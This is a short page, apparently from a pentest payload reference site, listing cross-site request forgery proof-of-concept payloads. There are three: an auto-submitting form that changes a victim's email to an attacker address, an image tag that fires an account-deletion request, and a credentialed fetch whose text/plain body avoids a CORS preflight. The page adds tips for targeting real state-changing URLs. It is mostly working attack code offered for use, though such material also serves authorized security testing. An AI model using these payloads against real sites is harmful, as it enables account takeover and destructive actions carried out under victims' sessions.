#vulns.co
/
mcp by GKData.io

← Back to Payloads

CSRF

Minimal PoC shapes. Prefer a real state-changing URL from the target. JSON needs a content-type the browser will send without a preflight.

Tags: csrf, samesite

Controlled probes

  • <form action="https://target/account/email" method="POST"><input name="email" value="attacker@evil.example"></form><script>document.forms[0].submit()</script>
  • <img src="https://target/account/delete?confirm=1">
  • fetch('https://target/api/email',{method:'POST',credentials:'include',headers:{'Content-Type':'text/plain'},body:'{"email":"attacker@evil.example"}'})

Source: https://portswigger.net/web-security/csrf

← Back to Payloads